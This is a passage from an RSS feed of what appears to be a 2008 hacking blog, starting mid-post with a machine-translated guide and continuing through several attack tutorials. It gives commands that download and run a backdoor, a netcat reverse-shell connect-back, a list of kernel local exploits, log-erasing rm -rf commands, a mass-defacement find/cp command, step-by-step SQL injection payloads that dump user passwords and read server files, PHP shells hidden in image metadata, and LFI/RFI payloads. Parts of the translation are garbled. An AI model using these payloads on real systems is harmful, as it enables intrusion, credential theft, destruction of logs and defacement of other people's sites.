is necessary of: Backdoor and Connect Back.<br><br><br><br>* Twirling backdoor in the server for remote connection<br><br>To twirl a backdoor, it is enough to make one upload, to choose permissions, and to execute it.<br><br>Command: compact disc /var/tmp; wget www.site.onde.es t? .o.backdoor.com/backdoor;chmod 777 backdoor;. /backdoor<br><br>compact disc /var/tmp - &gt; Faz the operation in this folder, for being common<br>all the users and had to its permissions.<br>/tmp tb serves:)<br><br>wget www. (...) /backdoor - &gt; Copia the backdoor from a URL for<br>site. When wget not to function, tries others<br>commands. Syntaxes:<br><br><br>- Possiveis programs to make download of the archives<br><br>wget www.site.com/arquivo<br>lynx - source www.site.com/arquivo &gt; archive<br>curl - the www.site.com/arquivo archive<br>GET www.site.com/arquivo &gt; archive<br>(...)<br><br>Now, it is enough to connect itself shell. How?<br><br>In the Win: To initiate - &gt; Executar - &gt; telnet www.site.com carries<br><br>Where www.site.com receives name or IP from the site that you twirled the backdoor and carries is the door that the<br>backdoor is working.<br><br>If to appear in the telnet bash-2.05b$ or something seemed, is because it functioned! E you have access to shell in the<br>machine. If to delay a time and not to fall in shell, confer nome/ip of the server.<br>If he will be correct, it is twirling Firewall. E now? simple, Connect Back.<br><br><br><br>* Connect Back<br><br><br>Very efficient method to gain shell in a machine. It gains shell reversamente.<br>Windows: It lowers netcat for windows and in Prompt of MSDOS (in the folder that nc if finds), it types: nc - vv - l - p<br>15, where 15 can in accordance with be chosen its preference. This door will be the one that will carry through the<br>connection.<br><br>Now, coming back to browser it, in cmd it types the following command:<br>compact disc /var/tmp; wget www.site.do.dc.com/dc;chmod 777 dc;. /dc IP carries<br><br>compact disc /var/tmp - &gt; Exactly that for backdoor.<br>wget www.site.do.dc.com/dc - &gt; | | | |, but is logico, with<br>address of dc.<br>./dc IP carries - &gt; where IP is ITS IP and carries is the door<br>that you it chose in netcat.<br><br><br>Made this, if to occur all certainty, it will appear as resulted:<br><br>Connect Back Backdoor<br><br>* Dumping Arguments<br>* Resolving Host Name<br>* Connecting?<br>* Spawning Shell<br>* Detached<br><br><br>This means that you if it connected in shell!<br><br>If to appear<br><br>Connect Back Backdoor<br><br>* Dumping Arguments<br>* Resolving Host Name<br>* Connecting?<br>[-] Unable you the Connect<br><br>it confers the data (its IP, carries, netcat, etc). If to insist, its<br>not accepted net this type of connection. It tries other doors (as 80, 22,<br>15, etc).<br><br><br>-----------------------------------------------------------------------<br><br><br>4. Exploits local<br><br>2.4.17<br>newlocal<br>kmod<br><br>2.4.18<br>brk<br>newlocal<br>kmod<br>km.2<br><br>2.4.19<br>brk<br>newlocal<br>kmod<br>km.2<br><br>2.4.20<br>ptrace<br>kmod<br>km.2<br>brk<br><br>2.4.21<br>km.2<br>brk<br>ptrace<br><br>2.4.22<br>km.2<br>brk<br>ptrace<br><br>2.4.23<br>mremap_pte<br><br>2.4.24<br>mremap_pte<br>Uselib24<br><br>2.4.27<br>Uselib24<br><br>2.6.2<br>mremap_pte<br>krad<br><br>2.6.5 you the 2.6.10<br>krad krad2<br><br><br><br>-----------------------------------------------------------------------<br><br><br><br>5. Erasing Logs<br><br><br>rm - rf /var/log<br>rm - rf /var/adm<br>rm - rf /var/apache/log<br>rm - rf $HISTFILE<br>find/- name .bash_history - exec rm - rf {} ;<br>find/- name .bash_logout - exec rm - rf {} ;<br>find/- name log* - exec rm - rf {} ;<br>find/- name *.log - exec rm - rf {} ;<br><br><br>-----------------------------------------------------------------------<br><br><br><br>6. As to arrange the vulnerability<br><br>To edit the archive php.ini in the folder of configuration of its apache and incapacitating the functions:<br>they system, exec, passthru, shell_exec<br><br><br><br>-----------------------------------------------------------------------<br><br><br><br><br>7. Tools<br><br>Voce can find some tools in the sites:<br><br>-<br><br>http://mescalin.100free.com<br>- http://www.packetstormsecurity.org<br>- http://www.milw0rm.com<br>- http://www.securiteam.com<br><br><br><br>-----------------------------------------------------------------------<br><br><br><br>8. Commands<br><br><br>ls - &gt; List archives. It can be combined with - (shows occult) and - l (it shows at great length). Former: ls - la<br>(it shows the archives, also occult at great length).<br>uname - - &gt; Mostra information of the system, as version of kernel,<br>uteis name, and other things.<br>id - &gt; Mostra its id.<br>w - &gt; List the users logados at the moment.<br>cp - &gt; Copia archives. Syntax: cp /destino/ archive<br>mv - &gt; Move archives. Sintexe: mv /destino/ archive<br>rm - &gt; Remove archives. If combined with - rf, removes all<br>the setados archives, also folders<br>to mkdir - &gt; diretorio Cria<br>to rmdir - &gt; diretorio Exclui<br>find - &gt; Procura for archives/folders. Former: ?find /etc - name<br>httpd.conf ?looks for for httpd.conf in the /etc folder<br>pwd - &gt; Mostra where folder you are located<br>cat - &gt; Exibe the content of an archive in the screen<br><br>head - &gt; Exibe lines of the beginning of the archive<br>tail - &gt; || || || final of the archive<br>ctrl+c - &gt; Sai/killa one programs<br>ctrl+r - &gt; Busca command typed in history of bash<br>ps - auxw - &gt; List all the processes of the system<br>netstat - in - &gt; Status of the connection<br>kill -9 - &gt; Mata process. Syntax: kill -9 PID OF the PROCESS<br>kill - HUP - &gt; Reinicia process. Syntax: kill - HUP ID OF the PROCESS<br>peak - &gt; Publisher of text. Syntax: peak archive<br>vi - &gt; | | vi archive<br><br><br>Saving resulted in archives<br>?/armazenado command &gt; /arquivo/onde/ser<br>Former: ls /etc &gt; /tmp/s.txt safe all the result of the listing of<br>/etc in the /tmp/s.txt archive<br><br>Adding lines in archives<br>echo ?line? &gt;&gt; /arquivo/onde/ser ?/incluido<br><br>Unpacking archives (most common)<br>.tar - &gt; to tar xvf arquivo.tar<br>.tar.gz - &gt; to tar zxvf arquivo.tar.gz<br>.tar .bz2 - &gt; to tar jxvf arquivo.tar .bz2<br>.zip - &gt; unzip arquivo.zip<br><br><br>Compactando archives (most common)<br>.tar - &gt; to tar cvf destino.tar ARCHIVE<br>.tar.gz - &gt; to tar cvf destino.tar ARCHIVE | gzip destino.tar<br>.tar .bz2 - &gt; to tar cvf destino.tar ARCHIVE | bzip2 destino.tar<br>.zip - &gt; zip DES tino.zip ARQUIVO<br><br><br>* List of sites running on server<br><br><br>* Using httpd.conf file<br><br>Generally the data of the housed sites are in this archive. To make a listing of the sites, it is enough to type a<br>command that will go to read the archive httpd.conf and to print the lines that contain ServerName<br>(name of the sites). (in the folder where httpd.conf if finds)<br><br>cat httpd.conf | grep ServerName<br><br>(they will be in this archive same, you result can to save in archive - preferential in the folder of the site that you<br>left - and to make download)<br><br>----&gt;<br>How? Good, in the CMD, it types pwd. You it will see the place where you<br>if it finds in the server. Former: /home/httpd/vhosts/nasa.gov/web/<br>Let us say that the URL is this: http://nasa.gov/index.php?page=CMD<br>Then, if you to play the result for /home/httpd/vhosts/nasa.gov/web<br>This archive will be in the root of the site. To only type this command:<br><br>cat httpd.conf | grep ServerName &gt; /home/httpd/vhosts/nasa.gov/web/RESULTADO.txt<br>(only one example)<br>Made this, http://nasa.gov/RESULTADO.txt and to lower the list: P<br><br>&lt;----<br><br>Now, where it is this? GENERALLY in the folders /etc/httpd/conf or /etc/apache/conf but it varies very and it can be<br>found in other places. An efficient way, to put delayed, to find is making a complete search for sitema. Command:<br><br>find/- name httpd.conf<br><br>This prints where he is httpd.conf in the server. It can appear more than a result.<br><br><br><br>* Other ways?<br><br>If exactly thus, not to obtain to find which sites has there, looks alternative forms. Unhappyly it does not have as to<br>explain therefore in each server it has a way.<br><br>Example:<br><br>If in the folder where the sites are located, you to list them and the result ja will have the name and domain of them:<br>former: ls /home/httpd/vhosts<br>site.com<br>mtv.com .br<br>nasa.gov<br>whitehouse.gov<br>etc<br><br><br>* Making Mass Defacement<br><br>Good, first, it creates one index that you it wants that is in the place of the others. Made it, plays for some place<br>that you can make upload pro server.<br><br>Now, the end: to change to all the others for its. Simple, a command for this is enough:<br><br>find /pasta/onde/est ?o/os/sites - name ?index.*? - exec cp /onde/est ?/sua/index.html {} ;<br><br>To know where they are the sites, only pwd in cmd. Former: /home/httpd/vhosts/nasa.gov/web<br><br>One notices that all the others are in /home/httpd/vhosts.<br><br>Equal backdoor makes upload. wget http://suaindex.com/sua.index<br><br>Let us say that you it made for the /tmp folder, then, the command would be thus:<br><br>find /home/httpd/vhosts - name ?index.*? - exec cp /tmp/index.html {} ; <br>			 ]]> 
		</description>
		<category>→SQL injection</category>

		<comments>http://r3dr0ot.egloos.com/78296#comments</comments>
		<pubDate>Mon, 18 Feb 2008 11:16:58 GMT</pubDate>
		<dc:creator>r3dr0ot</dc:creator>
	</item>
	<item>
		<title><![CDATA[ SQL injection in URL ]]> </title>
		<link>http://r3dr0ot.egloos.com/78289</link>
		<guid>http://r3dr0ot.egloos.com/78289</guid>
		<description>
			<![CDATA[ 
  Some differences.<br><br>1.When doing a url based attack to not alter the querty causing it to change before it has run its normal course. <br><br>Described in better detail.<br><br>Ex: id=15, dont go deleteing the 15 and throwing in a single quote it can cause issues. When i write the article ill<br>explain how and why. Anyways you would want to plug it in as id=15'<br><br>2.Obvious injection points to look for is most places with an equal sign.<br><br>3.Unlike a forms based injection where you keep the ' for your injections you wont be doing that for the url<br>based.<br><br>Yes for the intail testing you want to plug it in but for a valid query you want to keep the process flowing so <br><br>when you do your injection it would be id=15 union blah blah blah.<br><br>4.Common mistake of not url encoding charactors. Granted is varies upon what server is running back end. Your going to <br><br>want to url endcode.<br><br>ex: blind injection test id=15plussign1 to see if you get the id page of 16. You want 15 percentsign2b which is the plus<br>sign <br><br>url encoded. Do the same of other special chars if you want them to be read in correctly.<br><br>Another injection worth mentioning that i left out of the last article is; Union all select table_name from<br>information_schema.tables--<br><br>Information_schema is a list of all tables within a a database it is found in some but not all sql servers. MS sql and<br>mysql <br><br>being two of them. Now this wont always for as sometimes you as a user need certain privledges to access these tables.<br>You can<br><br>do the same to get all the column names by do the same injection only doing so with union all select column_name from<br><br>information_schema.columns. Now this sort of thing is not limit to just information_schema. Below are listed some tables<br>and <br><br>other things with which you can gather the same information but diffrent SQL versions. Im not going to list each command<br>to <br><br>get these contents due to the fact im hoping you actully know some SQL and arnt just reading these and going of skid. <br><br>One thing you just understand is that even on the same server your syntax for getting these things to work can be<br>diffrent.<br><br>For instance i have found that the syntax for one particular url based injection was id='10 and so on. This was a<br>bit diffrent<br><br>due to the fact it goes against the general rule not to interupt the natural flow by placing the ' before the valid<br>value. <br><br>Generally this isnt how it goes but you never know. There always a bit of testing involved by with some effort,logic and<br><br><br>knowlege of how sites are programmed in general you will get it right.<br><br>MS SQL SEVER:<br>Sysobjects<br>Syscolumns<br><br>some useful variables to gather info use them with the select commmand<br><br>@@language<br>@@microsoftversion<br>@@servername<br>@@servicename<br>@@version<br><br>MS ACCESS:<br>Msysobjects<br>MsysQueries<br>MsysRelationship<br>MsysACEs<br><br>Oracle:<br>SYS.USER_OBJECTS<br>SYS.TAB<br>SYS.USER_TABLES<br>SYS.USER_VIEWS<br>SYS.ALL_TABLES<br>SYS.USER_TAB_COLUMNS<br>SYS.USER_CONSTRAINTS<br>SYS.USER_TRIGGERS SYS.USER_CATALOG <br>			 ]]> 
		</description>
		<category>→SQL injection</category>

		<comments>http://r3dr0ot.egloos.com/78289#comments</comments>
		<pubDate>Mon, 18 Feb 2008 11:15:23 GMT</pubDate>
		<dc:creator>r3dr0ot</dc:creator>
	</item>
	<item>
		<title><![CDATA[ Image Shells | Use and Create Them ]]> </title>
		<link>http://r3dr0ot.egloos.com/78287</link>
		<guid>http://r3dr0ot.egloos.com/78287</guid>
		<description>
			<![CDATA[ 
  welcome to the tutorial!<br><br>today we will create a working image shell that does not break the image and make it invalid. This image shell can be<br>useful when finfing lfi and its use will be explained, its actually pretty simple.<br><br>First open up photoshop and use the following settings for our example:<br><br>http://www.psp-gamerz.com/1.jpg<br><br>then add an avatar or image and some text if you like:<br><br>http://www.psp-gamerz.com/3.jpg<br><br>now to insert working php code do file &gt;&gt; file info<br><br>http://www.psp-gamerz.com/4.jpg<br><br>on the copyright url line insert your php code<br><br>http://www.psp-gamerz.com/5.jpg<br><br>Now when you have lfi you can view local files and include them.<br><br>So we find an lfi vulnerable site with a forum or some type of image uploading. Now find out the location of our<br>image-shell and include it in our query. for example:<br><br>i have found :<br><br>index.php?page=home.htm<br><br>you do :<br><br>index.php?page=images/uploads/image.jpg<br><br>It will successfully run the php code and include a shell or do whatever you want.<br><br>Hope you enjoyed this tutorial good luck on your next hack <br>			 ]]> 
		</description>
		<category>→Basic Articles</category>

		<comments>http://r3dr0ot.egloos.com/78287#comments</comments>
		<pubDate>Mon, 18 Feb 2008 11:14:17 GMT</pubDate>
		<dc:creator>r3dr0ot</dc:creator>
	</item>
	<item>
		<title><![CDATA[ SQL Injection Attacks  ]]> </title>
		<link>http://r3dr0ot.egloos.com/78284</link>
		<guid>http://r3dr0ot.egloos.com/78284</guid>
		<description>
			<![CDATA[ 
  ...::SQL Injection Attacks::...<br><br>::What is SQL Injection?::<br><br>-SQL Injection is defined by http://www.h-spot.net/threat_glossary.htm as: "The act of entering malformed or<br>unexpected data (perhaps into a front-end web form or front-end application for example) so that the back-end SQL<br>database running behind the website or application executes SQL commands that the programmer never intended to permit, <br>possibly allowing an intruder to break into or damage the database."<br><br>::Background Information::<br><br>-It is considered the most common web vulnerability today<br>-It's a flaw in the web application--not the db, or the server<br>-Can be injected into: Cookies, Forms, and URL parameters<br><br>::Lesson Facts::<br><br>-This lesson uses MySQL syntax for all examples.<br>-This lesson does not provide reasons for why sites are vulnerable, simply how to exploit them<br>-This lesson only provides sql injection examples for url parameters such it is such a large subject on it's own<br>-This lesson gives small examples of filter evasion techniques<br><br>::The Lesson::<br><br>-Some commands you will need to know:<br>'union all select': combines two or more select statements into one query and returns all rows<br>'order by': used to sort rows after a select statement is executed<br>'load_file()': loads a local file from the site or server examples would be .htaccess or /etc/passwd<br>'char()': used to change decimal ascii to strings, can be used for filter evasion--in sql injections, used in<br>conjunction with load_file<br>'concat()': combines more than one column into a single column, enabling more columns to be selected than the<br>number that are showing on the page (You will understand better later)<br>'--': a comment<br>'/*': another type of comment<br><br>-Injection SQL Queries into URL Parameters<br>So you've found a site: 'http://www.site.com/index.php?id=5', and want to test if it's vulnerable to<br>SQL Injections.<br><br>1) Begin by checking if you can execute some of your own queries, so try:<br>/index.php?id=5 and 1=0--<br>If after executing the above statement, nothing has happened and the page has remained the same, you can try:<br>/index.php?id='<br>If neither of those work, for the purposes of this tutorial move on to another site.<br>Otherwise, if a blank page showed up you just might be in luck!<br><br>2) Now we want to find how many columns and which ones are showing when the select statement is executed so we use:<br>/index.php?id=5 order by 20<br>If you get an error decrement the number 20, if there is no error continue incrementing until you get one and then the<br>number just before your error is the number of columns in the table you're selecting from.<br>Example:<br>/index.php?id=5 order by 15 &lt;--returns no error, but /index.php?id=5 order by 16 &lt;--returns an error, then we know<br>that there are 15 columns in our select statement.<br><br>3) The next statement will null the id=5 so the script only executes our commands and not it's own, and show us<br>which columns we can extract data from:<br>/index.php?id=null union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-- &lt;--The comment comments out anything the<br>script would append to the end of the statement so that only our statement is looked at.<br>So now look at the page and if you see any of the numbers you just typed in, you know those columns are showing, and we<br>can gather information from them. For this example let's pretend columns 5, 7, and 9 are showing.<br><br>4) Now we can begin gathering information!<br>/index.php?id=null union all select 1,2,3,4,user(),6,database(),8,version(),10,11,12,13,14,15--<br>As you can see we selected values from the showing columns, what if we want to clean this up a bit, and put all of those<br>selected values in one column? This is where concat() comes in:<br>/index.php?id=null union all select<br>1,2,3,4,concat(user(),char(58),database(),char(58),version()),6,7,8,9,10,11,12,13,14,15--<br><br>Now look at your page, user(), database(), and version() are all in one place, and are separated by a colon this<br>demonstrates the use of concat() and char().<br><br>The user() will usually give something like username@localhost, but you may get lucky and get username@ipaddresshere, in<br>this instance you can try to brute force the FTP login. The version would help you look up exploits for that version of<br>the database() in use--but only if you're a skiddy!<br><br>5) Before we can check if we have load_file perms, we must get an FPD (Full Path Disclosure) so we know exactly where<br>the files are located that we're trying to open. Below are some methods to get an FPD:<br>-/index.php?id[]=<br>-You could attempt to Google the full path of the site by trying something like "/home/sitename" and hoping<br>that you'll find something in Google<br>-"Session Cookie Trick" &lt;--Thanks to haZed at enigmagroup.org. In the url type:<br>'javascript:void(document.cookie="PHPSESSID=");' This will give a session_start() error and an FPD.<br><br>Now we will attempt to use load_file(), this example will load the .htaccess file, make sure you know the file<br>you're trying to load actually exists or you may miss out on your opportunity to realize what great perms you<br>have:<br>/index.php?id=null union all select 1,2,3,4,load_file(char(47, 104, 111, 109, 101, 47, 115, 105, 116, 101, 110, 97, 109,<br>101, 47, 100, 105, 114, 47, 97, 108, 108, 111, 102, 116, 104, 105, 115, 105, 115, 102, 114, 111, 109, 111, 117, 114,<br>102, 112, 100, 47, 46, 104, 116, 97, 99, 99, 101, 115, 115)),6,7,8,9,10,11,12,13,14,15--<br>If you see the .htaccess file, congrats! You have load_file() perms. Now try to load include files such as<br>config.inc.php for database usernames and passwords, hoping that the admin is dumb enough to use the same username and<br>password for ftp. Another idea would be to load .htpasswd after finding it's location from .htaccess and then<br>logging in to all the password-protected areas that you want to on the site.<br>If you don't see the .htaccess file, I will include one more way to extract info by using sql injections.<br><br>-Using information_schema.tables:<br>So you don't have load_file() perms? No problem, we can check for information_schema.tables.<br><br>1) 'table_name' is the name of a table that exists in all information_schema tables on every site:<br>/index.php?id=null union all select 1,2,3,4,table_name,6,7,8,9,10,11,12,13,14,15 from information_schema.tables--<br>If the site is showing information_schema.tables, the words 'CHARACTER_SETS' will appear in column 5. What can<br>I do with CHARACTER_SETS you might be wondering. Well, nothing that I'm going to show you, but you can find out<br>other tables that exist on the site. The information_schema.tables contains a list of every table in the database on the<br>site, so you can pull up the table username and maybe password if they exist...Then what do you think the<br>information_schema.columns hold? That's right, a list of all the columns on the site. So rather than using just the<br>above injection you could try any of the following:<br>-/index.php?id=null union all select 1,2,3,4,distinct table_name,6,7,8,9,10,11,12,13,14,15 from<br>information_schema.tables-- &lt;--Selects all 'distinct' table names from information_schema.tables, meaning<br>it will print out all tables at one time<br>-/index.php?id=null union all select 1,2,3,4,concat(table_name,char(58),column_name),6,7,8,9,10,11,12,13,14,15 from<br>information_schema.columns-- &lt;--Selects all tables and columns that go with each table seperated by a colon<br><br>2) If none of the above queries give you anything except for 'CHARACTER_SETS' you will have to use enumeration<br>to determine the names of the other tables:<br>/index.php?id=null union all select 1,2,3,4,table_name,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where<br>table_name != "CHARACTER_SETS"--<br>Then it would show the next table in line so you would modify the above to say:<br>where table_name != "CHARACTER_SETS" and table_name != "nexttableinline"--<br>Until no more tables show, then you can do the same for the columns.<br><br>3) Now after you've executed one or all of those statements, let's say you found the table 'users'<br>and it has the columns 'username', 'password', 'id', and 'email'. To extract<br>that info from the table, use:<br>/index.php?id=null union all select 1,2,3,4,concat(username, char(58), password, char(58), id, char(58),<br>email),6,7,8,9,10,11,12,13,14,15 from users--<br>And you'll get the info you requested, of course you can modify that as you like such as:<br>-/index.php?id=null union all select 1,2,3,4,username,6,password,8,9,10,11,12,13,14,15 from users where id=1--<br>-/index.php?id=null union all select 1,2,3,4,concat(password, char(58), id, char(58), email),6,7,8,9,10,11,12,13,14,15<br>from users where username='Admin' &lt;--Replacing Admin with the top user's name such as admin or owner<br>etc..<br><br>::Final Tips::<br>With any luck, one of these methods has worked for you and you were able to accomplish your goal. However, if none of<br>them worked, you can start guessing common table names and then columns:<br>/index.php?id=null union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 from users-- &lt;--If the page shows up, you<br>know the table exists and you can start guessing column names:<br>/index.php?id=null union all select 1,2,3,4,username,6,7,8,9,10,11,12,13,14,15 from users-- &lt;--If you get a username,<br>good job you guessed a correct table and column, otherwise keep guessing.<br><br>::Filter Evasion Techniques::<br>-You can URL Encode characters, hex encode them, use any encoding you like as long as your browser can interpret it<br>-Rather then using 'union all select' try 'UniON aLL SeLECt' to see if the filter checks case<br>-Try using the plus sign to split words up: ' 'uni'+'on'+' '+'all'+'<br>'+'Se'+'lect'<br>-Combine the methods mentioned above using different cases, the plus operator, and not just text but encoding as well<br>-Be creative<br><br>::Conclusion::<br>Thank you for reading my article, please comment if you found it interesting, found it helpful, or even hated it.<br>I'd like to thank Rebirth, killerguppy101, &amp; Cr1t1cal for helping me get interested in and learn more about SQL<br>Injections.<br><br>::Sources::<br>http://www.enigmagroup.org/forums/index.php/topic,2372.0.html<br>http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt<br><br>Thanks for reading,<br>end3r <br>			 ]]> 
		</description>
		<category>→SQL injection</category>

		<comments>http://r3dr0ot.egloos.com/78284#comments</comments>
		<pubDate>Mon, 18 Feb 2008 11:13:02 GMT</pubDate>
		<dc:creator>r3dr0ot</dc:creator>
	</item>
	<item>
		<title><![CDATA[ Spotting Vulnerable Websites  ]]> </title>
		<link>http://r3dr0ot.egloos.com/78280</link>
		<guid>http://r3dr0ot.egloos.com/78280</guid>
		<description>
			<![CDATA[ 
  <strong>[ How to find vulnerabilities in websites | The Newbie Guide ]<br><br><br></strong>[+] XSS :<br>|<br>|- Definition: Cross Site Scripting.<br>|<br>|- Technical Definition: Injecting HTML in a page. Permanent or not.<br>|<br>|- Example: <div class="thecode" style="OVERFLOW: auto; WIDTH: 100%; WHITE-SPACE: nowrap; max-height: 200px"><code style="WHITE-SPACE: nowrap"><br><br><span style="FONT-FAMILY: Courier New">&lt;script&gt;alert("XSS")&lt;/script&gt;<br><br><br></span></code></div><br>|<br>|- Where is it found:<br>|<br>| [ Search Engines ] || [ GET Variables ] || [ Different Forms ]<br>| <br>|- Spotting it:<br>|<br>| [ Search Engines ]<br>|<br>| If the search you input, is outputted on the page. the chances are<br>| it is vulnerable.<br>|<br>| [ GET Variables ]<br>|<br>| If the GET var is outputted on the page, it is most likely <br>| the site is vulnerable, Checking for hidden tags also is helpfull, <br>| sometimes the GET var is stored in a hidden tag to be used later.<br>|<br>| [ Different Forms ]<br>|<br>| Login forms, any input form you can find in a site, could be<br>| vulnerable, checking it, by checking if the input is outputted.<br>|<br>|__________________________________________________________________<br>|<br>|<br>|<br>[+] RFI / LFI :<br>|<br>| - Definition: Remote File Inclusion | Local File Inclusion.<br>|<br>| - Technical Definition: <br>| [ RFI ] Execution of a remote script on a target server,<br>| by including it.<br>| [ LFI ] Execution, or disclosure of files, that are on the same <br>| target server.<br>|<br>| - Example:<br>| <br>| <div class="thecode" style="OVERFLOW: auto; WIDTH: 100%; WHITE-SPACE: nowrap; max-height: 200px"><code style="WHITE-SPACE: nowrap"><br><br><span style="FONT-FAMILY: Courier New">?page=http:/www.darkmindz.com/shell/x2300.txt?<br><br><br></span></code></div><br>| <div class="thecode" style="OVERFLOW: auto; WIDTH: 100%; WHITE-SPACE: nowrap; max-height: 200px"><code style="WHITE-SPACE: nowrap"><br><br><span style="FONT-FAMILY: Courier New">?page=../../../../etc/passwd<br><br><br></span></code></div><br>|<br>| - Where is it found:<br>| [ GET Variables ] <br>|<br>| - Spotting it:<br>| <br>| [ GET Variables ]<br>|<br>| It is mostly common sense, if you see the main page redirecting to other pages, by a GET var, it is most likely<br>vulnerable.<br>| sometimes, it might be hiding behind an integer, you can spot it by, changing that get var to anything else, and if<br>you see any main(); errors,<br>| it is vulerable.<br>| a common way to bypass some extension restrctions, is to nullbyte the extension, by:<br><div class="thecode" style="OVERFLOW: auto; WIDTH: 100%; WHITE-SPACE: nowrap; max-height: 200px"><code style="WHITE-SPACE: nowrap"><br><br><span style="FONT-FAMILY: Courier New">?page=../../../../etc/passwd%00<br><br><br></span></code></div><br>|<br>|______________________________________________________________________<br>|<br>|<br>|<br>[+] SQL Injection :<br>|<br>| - Definition: [ the name says it all ]<br>|<br>| - Techical definition : Injecting a SQL, to echo out data from other tables / rows. etc.<br>|<br>| - Example:<br>| <br>| <div class="thecode" style="OVERFLOW: auto; WIDTH: 100%; WHITE-SPACE: nowrap; max-height: 200px"><code style="WHITE-SPACE: nowrap"><br><br><span style="FONT-FAMILY: Courier New">?id=-- UNION SELECT ALL FROM USERS /*<br><br><br></span></code></div><br>| <br>| - Where is it found:<br>|<br>| [ GET Variables ] || [ Login Forms ] || [ Search Engine ] || [ Different Forms ] <br>|<br>| - Spotting it:<br>|<br>| [ GET variables ]<br>|<br>| Most of the times, it is an integer that we are looking for in a GET var, for example : ' ?id=123 ' ' ?cat=22 ' ..<br>etc.<br>| if we change that integer to a quote or anything else, we could get a MySQL error, then we know that this site<br>might be vulnerable.<br>|<br>| [ Login Forms ]<br>|<br>| We can try to inject a normal SQL injection in a login form, because most login forms pass thru a SQL query to check<br>for data.<br>|<br>| [ Search Engine ]<br>|<br>| Same applies here, most search engines looks for the info in a SQL DB. we can always inject that.<br>|<br>| [ Different Forms ]<br>|<br>| The general rule applies, you can try a random SQL injection, with different quote style to see if it would show any<br>errors or not.<br>|<br>|______________________________________________________________________<br><br>Well that was it, I hope you learned something from this tutorial, and questions / comments are welcomed.<br>			 ]]> 
		</description>
		<category>→Basic Articles</category>

		<comments>http://r3dr0ot.egloos.com/78280#comments</comments>
		<pubDate>Mon, 18 Feb 2008 11:11:43 GMT</pubDate>
		<dc:creator>r3dr0ot</dc:creator>
	</item>
</channel>
</rss>
